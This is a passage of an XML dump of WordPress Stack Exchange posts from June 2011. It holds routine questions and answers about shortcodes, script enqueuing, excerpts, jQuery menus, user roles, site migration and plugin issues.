$id = 'id=&quot;' . $id . '&quot; ';&#xA;&#xA;    return '&amp;lt;figure ' . $id . 'class=&quot;wp-caption ' . $align . '&quot; style=&quot;width: ' . $width . 'px&quot;&amp;gt;'&#xA;. do_shortcode( $content ) . '&amp;lt;figcaption class=&quot;wp-caption-text&quot;&amp;gt;' . $caption . '&amp;lt;/figcaption&amp;gt;&amp;lt;/figure&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode( 'wp_caption', 'mytheme_caption' );&#xA;add_shortcode( 'caption', 'mytheme_caption' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6011" LastActivityDate="2011-06-08T08:22:16.770" CommunityOwnedDate="2011-06-08T08:22:16.770" />
  <row Id="19492" PostTypeId="1" AcceptedAnswerId="19494" CreationDate="2011-06-08T08:40:37.610" Score="0" ViewCount="68" Body="&lt;p&gt;I'm currently creating a bunch of (empty) pages and performing conditionals such as is_page('Blabla') on it, which increases my page.php significantly. I'm already using require_once for different content, but is there a cleaner way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-06-08T08:54:40.713" Title="What's the best way to include php code in to pages?" Tags="&lt;php&gt;&lt;page&gt;&lt;include&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19493" PostTypeId="1" CreationDate="2011-06-08T08:48:38.653" Score="0" ViewCount="28" Body="&lt;p&gt;I installed super on one of my blogs recently and it has been working fine but I have noticed that it is caching this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mydomain.com/.needs-rebuild&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/.needs-rebuild&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which i believe is part of super cache what is the deal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-06-08T09:12:54.597" Title="Strange Cached File in Super Cache" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="19494" PostTypeId="2" ParentId="19492" CreationDate="2011-06-08T08:54:40.713" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress has a function for including template parts, which you can use for that purpose : &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;get_template_part&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;include(TEMPLATEPATH . '/includes/myfunction.php');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-08T08:54:40.713" />
  <row Id="19495" PostTypeId="2" ParentId="8827" CreationDate="2011-06-08T08:57:03.333" Score="0" ViewCount="" Body="&lt;p&gt;I think the most straight forward route is to have a demo site that you use over to one side (Consider it a QA environment). Just open that site up and trigger the download/update on this site once you commit your changes to SVN. &lt;/p&gt;&#xA;" OwnerUserId="5972" LastActivityDate="2011-06-08T08:57:03.333" />
  <row Id="19496" PostTypeId="2" ParentId="19316" CreationDate="2011-06-08T09:04:05.183" Score="1" ViewCount="" Body="&lt;p&gt;This function calls all comments by an author and strips every comment to a max-length. Adjust the comment excerpt length when calling the function in your template like &lt;code&gt;wpse19316_author_comments( 100 );&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse19316_author_comments( $length )&#xA;{&#xA;    $final_length = (int) $length;&#xA;    $author_comments = get_comments( array( 'ID' =&amp;gt; $GLOBALS['authordata']-&amp;gt;ID ) );&#xA;    foreach ( $author_comments as $comment )&#xA;    {&#xA;        $comment_length = sublen( $comment-&amp;gt;comment_content );&#xA;        $comment_excerpt = $comment-&amp;gt;comment_content;&#xA;        if ( $comment_length &amp;gt; $final_length )&#xA;            $comment_excerpt = substr( $comment-&amp;gt;comment_content, $final_length );&#xA;        echo $comment_excerpt.'&amp;lt;br /&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-08T09:04:05.183" CommentCount="2" />
  <row Id="19497" PostTypeId="2" ParentId="19470" CreationDate="2011-06-08T09:08:00.423" Score="1" ViewCount="" Body="&lt;p&gt;Use @JanFabry &quot;Rewrite Analyzer&quot; Plugin, over &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18459/wpse-plugin-repository-show-the-plugins-that-came-out-of-wp-answers/18553#18553&quot;&gt;here in the &quot;official&quot; WPSE Plugin repository&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-08T09:08:00.423" CommentCount="1" />
  <row Id="19498" PostTypeId="2" ParentId="19493" CreationDate="2011-06-08T09:12:54.597" Score="1" ViewCount="" Body="&lt;p&gt;It's a way for wp-supercache to track the state of folders and files.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-08T09:12:54.597" CommentCount="1" />
  <row Id="19499" PostTypeId="1" CreationDate="2011-06-08T09:25:18.530" Score="1" ViewCount="115" Body="&lt;p&gt;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function this_is_my_shortcode(){&#xA;    wp_register_script('per-pas-belanja-online', plugins_url('js/per-pas-belanja-online.js', __FILE__), array('jquery'), '1.0.0');&#xA;    wp_enqueue_script('per-pas-belanja-online');&#xA;    return '&amp;lt;div id=&quot;poppedout&quot;&amp;gt;Blah&amp;lt;/div&amp;gt;';&#xA;}&#xA;add_shortcode('bubba', 'this_is_my_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The div is appear on the page, but the script is not. What mistake i have done ?&lt;/p&gt;&#xA;" OwnerUserId="4322" LastActivityDate="2011-06-08T10:17:40.543" Title="Using wp_enqueue_script on shortcode function handler" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="1" />
  <row Id="19500" PostTypeId="1" AcceptedAnswerId="19533" CreationDate="2011-06-08T09:52:34.047" Score="1" ViewCount="74" Body="&lt;p&gt;Wordpress has &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/wp_oembed_get&quot; rel=&quot;nofollow&quot;&gt;wp_oembed_get&lt;/a&gt;, which I use to get rich media content with &lt;a href=&quot;http://api.embed.ly/&quot; rel=&quot;nofollow&quot;&gt;embed.ly&lt;/a&gt;. I've previously used oEmbed api calls such as &lt;a href=&quot;http://api.embed.ly/1/oembed?url=http://www.youtube.com/watch?feature=player_embedded&amp;amp;v=DxSQNIc035s&amp;amp;maxwidth=600&amp;amp;format=xml&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. As you can see it provides thumbnail_url, which I like to use instead of embedding the video. How can I do this with wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-06-08T17:35:04.297" Title="oEmbed, thumbnails and wordpress" Tags="&lt;post-thumbnails&gt;&lt;oembed&gt;" AnswerCount="1" />
  <row Id="19501" PostTypeId="1" CreationDate="2011-06-08T10:04:14.810" Score="0" ViewCount="87" Body="&lt;p&gt;Does anyone know how to make new posts automatically show up in the frontpage, with out having to refresh the page. I have a wordpress site with multiple authors and want their new posts to show up automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3350" LastActivityDate="2011-06-08T10:04:14.810" Title="How do I use Ajax to show the new posts realtime, on the frontpage" Tags="&lt;posts&gt;&lt;jquery&gt;&lt;ajax&gt;" CommentCount="3" />
  <row Id="19502" PostTypeId="2" ParentId="19499" CreationDate="2011-06-08T10:17:40.543" Score="1" ViewCount="" Body="&lt;p&gt;Straight from the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use the &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; action to call this function, or &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; to call it on the admin side. Calling it &lt;strong&gt;outside&lt;/strong&gt; of an action can lead to troubles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-08T10:17:40.543" CommentCount="2" />
  <row Id="19503" PostTypeId="2" ParentId="19485" CreationDate="2011-06-08T10:22:23.100" Score="0" ViewCount="" Body="&lt;p&gt;Please take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19316/recent-comments-on-author-page/19496#19496&quot;&gt;this&lt;/a&gt; answer, exchange &lt;code&gt;get_comments&lt;/code&gt; with &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts&lt;/code&gt;&lt;/a&gt; and use the &lt;code&gt;include&lt;/code&gt; argument to filter only the posts from the categories you need.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-08T10:22:23.100" />
  <row Id="19504" PostTypeId="1" AcceptedAnswerId="19505" CreationDate="2011-06-08T10:55:31.600" Score="1" ViewCount="100" Body="&lt;p&gt;I like to display only 20 lines of post with the read more link using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;' ) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it shows full content .&#xA;How can i strip it .please help me !&lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-06-08T12:18:05.963" Title="display 20 lines only with the_content" Tags="&lt;theme-development&gt;&lt;theme-twenty-ten&gt;" AnswerCount="2" />
  <row Id="19505" PostTypeId="2" ParentId="19504" CreationDate="2011-06-08T11:07:03.603" Score="3" ViewCount="" Body="&lt;p&gt;You need to add a more quicktag to your content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here: &lt;a href=&quot;http://codex.wordpress.org/Customizing_the_Read_More&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Customizing_the_Read_More&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-08T11:07:03.603" CommentCount="4" />
  <row Id="19506" PostTypeId="1" CreationDate="2011-06-08T11:49:00.300" Score="0" ViewCount="131" Body="&lt;p&gt;I've installed disqus comments for wordpress and they just don't appear... help anyone?&#xA;The plugin is the oficial disqus plugin and it all works: admin, moderation, etc. The admin zone works fine, and i've added the disqus universal code a month ago and it worked. The only thing it was missing was the relatinship between the post id and the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disqus comments v 2.66&#xA;the url of the blog is www.zoomzine.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL: &lt;a href=&quot;http://www.zoomzine.net&quot; rel=&quot;nofollow&quot;&gt;http://www.zoomzine.net&lt;/a&gt; &#xA;PHP Version: 5.2.5 &#xA;Version: 3.0.4 &#xA;Active Theme: Stereoline&lt;br&gt;&#xA;URLOpen Method: curl &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin Version: 2.66 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dsq_is_installed: 1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;disqus_active: &#xA;disqus_public_key: &#xA;disqus_secret_key: &#xA;disqus_forum_url: zoomzine&#xA;disqus_api_key: &#xA;disqus_user_api_key: &#xA;disqus_partner_key: &#xA;disqus_replace: all&#xA;disqus_cc_fix: 1&#xA;disqus_manual_sync: 1&#xA;disqus_disable_ssr: &#xA;disqus_last_comment_id: 177481290&#xA;disqus_version: 2.61&lt;/p&gt;&#xA;" OwnerUserId="6016" LastEditorUserId="6016" LastEditorDisplayName="" LastEditDate="2011-06-10T10:23:49.717" LastActivityDate="2011-06-11T08:23:41.303" Title="Disqus comments don't appear" Tags="&lt;comments&gt;&lt;disqus&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19507" PostTypeId="1" CreationDate="2011-06-08T12:08:48.607" Score="1" ViewCount="158" Body="&lt;p&gt;I am trying to create a simple expandable menu in wordpress.&#xA;Bellow you can see the javascript I am using (copy and mix from internet).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function($) {&#xA;        $('#access li').has('ul').addClass('has_submenu');&#xA;        $('#access ul li.has_submenu a').click(function() {&#xA;            $(&quot;#access ul ul&quot;).toggleClass(&quot;showHide&quot;);&#xA;        }); &#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;first part is ok&lt;/strong&gt;, script adds has_submenu class to my menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second part&lt;/strong&gt; should toggle showHide class.&#xA;My problem is that when I click the showHide class appears but dissapears right after(page reloads).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx for help :)&lt;/p&gt;&#xA;" OwnerUserId="6017" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-08T13:08:41.373" LastActivityDate="2011-06-09T07:12:41.740" Title="simple expandable vertical menu, java script problem" Tags="&lt;customization&gt;&lt;menus&gt;&lt;javascript&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19508" PostTypeId="2" ParentId="19504" CreationDate="2011-06-08T12:18:05.963" Score="2" ViewCount="" Body="&lt;p&gt;Several options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Manually add the &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; link to each of your posts, at the appropriate location (as suggested by @spartacus)&lt;/li&gt;&#xA;&lt;li&gt;Filter &lt;code&gt;$content&lt;/code&gt; at the &lt;code&gt;the_content&lt;/code&gt; hook, to return the appropriate amount of content (I'm not sure how you would filter to return &lt;em&gt;20 lines&lt;/em&gt; of content), plus a read more link&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;the_excerpt()&lt;/code&gt; instead of &lt;code&gt;the_content()&lt;/code&gt;, and filter &lt;code&gt;$excerpt&lt;/code&gt; at the &lt;code&gt;excerpt_length&lt;/code&gt; hook, to return the appropriate number of &lt;em&gt;words&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-08T12:18:05.963" />
  <row Id="19509" PostTypeId="1" CreationDate="2011-06-08T13:05:34.427" Score="0" ViewCount="33" Body="&lt;p&gt;I don't know what happened, but all of a sudden URLs for post, categories and pages started to show all posts in my blog. I check the $wp_query global variable and is_home shows always true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are query_vars which doesn't seem to be correct either. That is a post page and ['p'] should be set to something, but it is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;query_vars =&#xA;array(&#xA;&#xA;['numberposts'] =&gt;&#xA;2147483647&#xA;['offset'] =&gt;&#xA;0&#xA;['category'] =&gt;&#xA;0&#xA;['orderby'] =&gt;&#xA;'post_date'&#xA;['order'] =&gt;&#xA;'DESC'&#xA;['include'] =&gt;&#xA;['exclude'] =&gt;&#xA;['meta_key'] =&gt;&#xA;['meta_value'] =&gt;&#xA;['post_type'] =&gt;&#xA;'post'&#xA;['suppress_filters'] =&gt;&#xA;TRUE&#xA;['post_status'] =&gt;&#xA;'publish'&#xA;['posts_per_page'] =&gt;&#xA;2147483647&#xA;['ignore_sticky_posts'] =&gt;&#xA;TRUE&#xA;['no_found_rows'] =&gt;&#xA;TRUE&#xA;['error'] =&gt;&#xA;['m'] =&gt;&#xA;0&#xA;['p'] =&gt;&#xA;0&#xA;['post_parent'] =&gt;&#xA;['subpost'] =&gt;&#xA;['subpost_id'] =&gt;&#xA;['attachment'] =&gt;&#xA;['attachment_id'] =&gt;&#xA;0&#xA;['name'] =&gt;&#xA;['static'] =&gt;&#xA;['pagename'] =&gt;&#xA;['page_id'] =&gt;&#xA;0&#xA;['second'] =&gt;&#xA;['minute'] =&gt;&#xA;['hour'] =&gt;&#xA;['day'] =&gt;&#xA;0&#xA;['monthnum'] =&gt;&#xA;0&#xA;['year'] =&gt;&#xA;0&#xA;['w'] =&gt;&#xA;0&#xA;['category_name'] =&gt;&#xA;['tag'] =&gt;&#xA;['cat'] =&gt;&#xA;['tag_id'] =&gt;&#xA;['author_name'] =&gt;&#xA;['feed'] =&gt;&#xA;['tb'] =&gt;&#xA;['paged'] =&gt;&#xA;0&#xA;['comments_popup'] =&gt;&#xA;['preview'] =&gt;&#xA;['s'] =&gt;&#xA;['sentence'] =&gt;&#xA;['fields'] =&gt;&#xA;['category__in'] =&gt;&#xA;['category__not_in'] =&gt;&#xA;['category__and'] =&gt;&#xA;['post__in'] =&gt;&#xA;['post__not_in'] =&gt;&#xA;['tag__in'] =&gt;&#xA;['tag__not_in'] =&gt;&#xA;['tag__and'] =&gt;&#xA;['tag_slug__in'] =&gt;&#xA;['tag_slug__and'] =&gt;&#xA;['meta_query'] =&gt;&#xA;) &#xA;&lt;/pre&gt;&#xA;" OwnerUserId="6018" LastActivityDate="2011-06-08T13:05:34.427" Title="Permalinks, categories and pages are not working any more" Tags="&lt;posts&gt;&lt;errors&gt;" />
  <row Id="19510" PostTypeId="2" ParentId="19507" CreationDate="2011-06-08T13:09:41.027" Score="3" ViewCount="" Body="&lt;p&gt;Try this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function($) {&#xA;        $('#access li').has('ul').addClass('has_submenu');&#xA;        $('#access ul li.has_submenu &amp;gt; a').click(function(event) {&#xA;            event.preventDefault();&#xA;            $(&quot;#access ul ul&quot;).toggleClass(&quot;showHide&quot;);&#xA;        }); &#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://api.jquery.com/event.preventDefault/&quot; rel=&quot;nofollow&quot;&gt;event.preventDefault&lt;/a&gt; in the jQuery API.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-08T14:37:27.460" LastActivityDate="2011-06-08T14:37:27.460" CommentCount="8" />
  <row Id="19512" PostTypeId="1" CreationDate="2011-06-08T13:31:23.143" Score="2" ViewCount="87" Body="&lt;p&gt;I have a website with a lot of users.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are all editor (with same custom roles). They can add page and post, and edit only their own page/post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But some users need the ability to edit some specific page/post belonging to other users (not all).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't had a new role for those &quot;special users&quot;, because the page list they need to edit is different for each &quot;special users&quot;. I've try some plugins like co-authors-plus but the search of this plugin only find admin user when i try to add a new author to page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue on how I could accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="6019" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-06-08T22:01:59.630" LastActivityDate="2011-06-08T22:01:59.630" Title="Users roles, make a page belonging to multiple users" Tags="&lt;users&gt;&lt;author&gt;&lt;user-roles&gt;&lt;custom-roles&gt;" CommentCount="1" />
  <row Id="19513" PostTypeId="1" CreationDate="2011-06-08T13:31:38.120" Score="1" ViewCount="108" Body="&lt;p&gt;I've got the horrible task of moving a site from one hosting server to another and had no end of problems for DNS issues to temporary domain issues and FTP issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I've managed to install a new database and import the backup of the old wordpress site and all is looking fine - I've got everything hidden behind a holding page (script in the wp-blog-header.php file allows access only to logged in users) and testing things out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First issue I came across was the WYSIWYG editor was missing all the buttons for styling etc - so I re-uploaded all the wp files again and that solved the matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second issue is that when writing a post and uploading an image, the image uploads but doesn't appear - there is no thumbnail appearing afte crunching and if I click to insert image into post I just get a blank box with a broken file link icon in it. I checked to the uploads folder and the image has uploaded and crumched just fine - so don't understand why it's not appearing in the blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of how to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E&lt;/p&gt;&#xA;" OwnerUserId="6021" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-06-08T14:45:16.840" LastActivityDate="2011-08-09T23:21:39.093" Title="Image upload appearing as broken images following server move" Tags="&lt;images&gt;&lt;database&gt;&lt;uploads&gt;" AnswerCount="2" />
  <row Id="19515" PostTypeId="2" ParentId="19513" CreationDate="2011-06-08T13:49:10.253" Score="0" ViewCount="" Body="&lt;p&gt;My experience is that moving a WP installation from one server to another is messy, with lots of manual fixing required.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;At risk of stating the obvious, make sure all your wordpress settings are correct for the new server/url.&lt;/li&gt;&#xA;&lt;li&gt;Edit the database directly (are you familiar with how to do that?), find and update all references to the old server or server-specific file paths. Last time I did this, there were about 8 separate values that I had to update manually.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Even if your installation isn't working properly right now, I'd still take a backup of the database before doing any of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know how you get on,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Philip&lt;/p&gt;&#xA;" OwnerUserId="6022" LastActivityDate="2011-06-08T13:49:10.253" CommentCount="1" />
  <row Id="19516" PostTypeId="1" AcceptedAnswerId="19522" CreationDate="2011-06-08T14:00:34.710" Score="0" ViewCount="178" Body="&lt;p&gt;I'm using this bit of code to generate a page full of items but they won't sort into the menu order, any ideas as to why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php $pages = get_pages(array('child_of', 'menu_order')); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-06-08T14:46:47.530" LastActivityDate="2011-06-08T15:01:48.737" Title="Sort &quot;get_pages&quot; by menu order not ordering" Tags="&lt;get-posts&gt;&lt;get-page&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19517" PostTypeId="1" AcceptedAnswerId="19600" CreationDate="2011-06-08T14:12:24.327" Score="0" ViewCount="136" Body="&lt;p&gt;am running the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;CFT&lt;/a&gt; plugin version 1.9.2 on a 3.1.3 wordpress site and in the admin i did set up 30 input file fields related to a custom post type. It all works fine until the 21st field (and beyond) that does not save any file (small picture) that is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a local test on wamp, and it all works fine, all the 30 fields are saving (and displaying) well the pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did another test online (different server) on a test installation. I uploaded the database used locally and all the files, checked the site and the post is displaying well the pictures: &lt;a href=&quot;http://k-win.fr/wptest/?cpt-project=project-test&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; and has obviously all 30 saved in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after that i tried to create a new post on this test site and uploaded the pictures from the admin and bam there goes the same problem, stuck at 20: &lt;a href=&quot;http://k-win.fr/wptest/?cpt-project=test-2&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The media upload works fine by the admin works fine, even with high res pics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the beginning of my template's content in the CFT admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[project-introduction]&#xA;type = textarea&#xA;label = Introdução&#xA;cols = 50&#xA;rows = 6&#xA;&#xA;[p-img-1]&#xA;type = file&#xA;label = Imagem projeto #1 (capa)&#xA;&#xA;[p-img-2]&#xA;type = file&#xA;label = Imagem projeto #2&#xA;&#xA;[p-img-3]&#xA;type = file&#xA;label = Imagem projeto #3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to add the &lt;code&gt;blank = true&lt;/code&gt; to my &lt;code&gt;type= file&lt;/code&gt; fields but didnt seem to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be glad to have your point of view on this cos am stuck. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-06-09T14:39:26.517" Title="[Custom field template plugin] Upload limited to 20 inputs file" Tags="&lt;plugins&gt;&lt;customization&gt;&lt;template&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19518" PostTypeId="2" ParentId="19513" CreationDate="2011-06-08T14:27:21.860" Score="0" ViewCount="" Body="&lt;p&gt;Moving is a royal pain indeed and everything goes into the details. A possible solution to these potential problems is a new plugin that was just released, it's called the Duplicator: &lt;a href=&quot;http://wordpress.org/extend/plugins/duplicator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/duplicator/&lt;/a&gt;&#xA;I haven't tested it yet, just saw the news in my Reader, but saw the video and it looks pretty awesome.&#xA;So you can basically delete all your previous work, go back to the old site, run the duplicator, install the package on the new site and it all should be there.&#xA;Let me know if it works for you.!&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-08T14:27:21.860" CommentCount="1" />
  <row Id="19519" PostTypeId="1" CreationDate="2011-06-08T14:36:49.630" Score="0" ViewCount="22" Body="&lt;p&gt;I'm moving &lt;a href=&quot;http://www.deluxeblogtips.com&quot; rel=&quot;nofollow&quot;&gt;my blog&lt;/a&gt; from Blogger to WordPress, and everything seems to work fine, except one thing: my codes in the &lt;code&gt;pre&lt;/code&gt; tag are broken. You can compare 2 versions: &lt;a href=&quot;http://www.deluxeblogtips.com/2011/03/meta-box-script-update-v30.html&quot; rel=&quot;nofollow&quot;&gt;the original&lt;/a&gt; and &lt;a href=&quot;http://hand2hand.info/2011/03/meta-box-script-update-v30.html&quot; rel=&quot;nofollow&quot;&gt;the moved version&lt;/a&gt;, you'll see that the indent and line breaks inside &lt;code&gt;pre&lt;/code&gt; tags are not preserved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know anyway to fix it? My blog contains so many code blocks and I don't want to keep them as a mess and no one can read them, even me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FYI&lt;/strong&gt;: I used &lt;a href=&quot;http://blogger2wordpress.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;this service&lt;/a&gt; to convert Blogger exported XML file to WP compatible format as the WordPress Importer didn't work for me. At the first time, the &lt;code&gt;pre&lt;/code&gt; tags even didn't automatically convert &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; to their entities, and luckily I found a solution &lt;a href=&quot;http://wpengineer.com/2010/convert-content-pre-tag-html-code/&quot; rel=&quot;nofollow&quot;&gt;at WPEngineer&lt;/a&gt; and got the result as you're seeing now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-08T14:36:49.630" Title="Moving from Blogger, PRE tags doesn't work properly" Tags="&lt;code&gt;&lt;formatting&gt;&lt;blogger&gt;&lt;pre&gt;" />
  <row Id="19520" PostTypeId="2" ParentId="1188" CreationDate="2011-06-08T14:42:54.683" Score="0" ViewCount="" Body="&lt;p&gt;Here's some complete code for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;http://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;&quot; data-count=&quot;vertical&quot; data-via=&quot;arkliapp&quot;&amp;gt;Tweet&amp;lt;/a&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://platform.twitter.com/widgets.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;fb:like id=&quot;fb_like&quot; href=&quot;&quot; layout=&quot;box_count&quot; show_faces=&quot;true&quot; width=&quot;55&quot; font=&quot;&quot;&amp;gt;&amp;lt;/fb:like&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;$(&quot;#fb_like&quot;).attr(&quot;href&quot;) = encodeURIComponent(window.location);&#xA;$(&quot;.twitter-share-button&quot;).attr(&quot;data-url&quot;) = encodeURLComponent(window.location);&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6023" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-10T14:12:22.203" LastActivityDate="2011-06-10T14:12:22.203" CommentCount="1" />
